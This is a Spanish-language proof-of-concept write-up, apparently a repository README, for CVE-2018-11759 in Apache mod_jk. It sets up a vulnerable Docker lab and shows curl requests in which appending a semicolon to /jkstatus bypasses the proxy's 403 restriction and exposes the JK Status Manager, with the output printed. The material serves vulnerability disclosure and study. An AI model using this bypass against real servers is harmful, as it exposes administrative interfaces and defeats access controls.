
Exploit de prueba de concepto para CVE-2018-11759 que demuestra el bypass de acceso de Apache mod_jk mediante peticiones especialmente diseñadas para evadir las restricciones del proxy inverso.
El código específico del Servidor Web Apache (httpd) que normalizaba la ruta solicitada antes de coincidirla con el mapa URI-worker en el Conector Apache Tomcat JK (mod_jk) 1.2.0 a 1.2.44 no manejaba correctamente algunos casos límite. Si solo un subconjunto de las URL compatibles con Tomcat se exponía a través de httpd, entonces era posible que una solicitud especialmente construida expusiera funcionalidades de la aplicación a través del proxy inverso que no estaban destinadas a los clientes que accedían a la aplicación a través del proxy inverso. También era posible, en algunas configuraciones, que una solicitud especialmente construida evitara los controles de acceso configurados en httpd. Si bien existe cierta superposición entre este problema y CVE-2018-1323, no son idénticos.
La siguiente prueba de concepto muestra cómo explotar el CVE-2018-11759, así como su impacto en el sistema de información objetivo.
docker-compose up -d
Sea paciente, el proceso puede ser bastante largo la primera vez.
Una vez en ejecución, el proxy vulnerable será accesible a través de la siguiente dirección
Los endpoints montados con una directiva JkMount de mod_jk, como la interfaz del administrador de estado de JK (que permite gestionar workers AJP), pueden configurarse para restringir el acceso externo.
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
Esta restricción se puede evitar añadiendo un punto y coma al endpoint protegido.
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="https://github.com/immunit/cve-2018-11759/blob/master/jkstatus%3B?opt=32">Read Only</a>]
</td>
<td>
[<a href="https://github.com/immunit/cve-2018-11759/blob/master/jkstatus%3B?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
Más información en nuestro artículo del blog
Este problema fue descubierto inicialmente por Alphan YAVAS de Biznet Bilisim A.S. y reportado de manera responsable al equipo de seguridad de Apache Tomcat. Vectores de ataque adicionales fueron identificados por Raphaël Arrouas (Xel) y Jean Lejeune (Nitrax) de immunIT.